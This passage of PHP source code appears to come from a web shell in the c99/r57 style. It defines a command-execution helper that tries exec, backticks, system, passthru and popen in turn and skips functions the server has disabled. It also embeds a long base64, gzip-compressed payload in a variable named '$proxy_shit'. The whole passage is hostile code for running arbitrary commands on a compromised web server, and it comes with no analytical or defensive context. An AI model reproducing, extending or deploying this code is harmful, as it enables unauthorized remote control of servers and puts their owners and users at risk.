&1\",\"r\"))) { return 126; } while (!feof($p)) { $line=fgets($p,1000); $out .= $line; } pclose($p); return $out; } }else{ function myshellexec($cmd) { global $disablefunc; $result = \"\"; if (!empty($cmd)) { if (is_callable(\"exec\") and !in_array(\"exec\",$disablefunc)) {exec($cmd,$result); $result = join(\"\\n\",$result);} elseif (($result = `$cmd`) !== FALSE) {} elseif (is_callable(\"system\") and !in_array(\"system\",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable(\"passthru\") and !in_array(\"passthru\",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,\"r\"))) { $result = \"\"; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } } $proxy_shit=\"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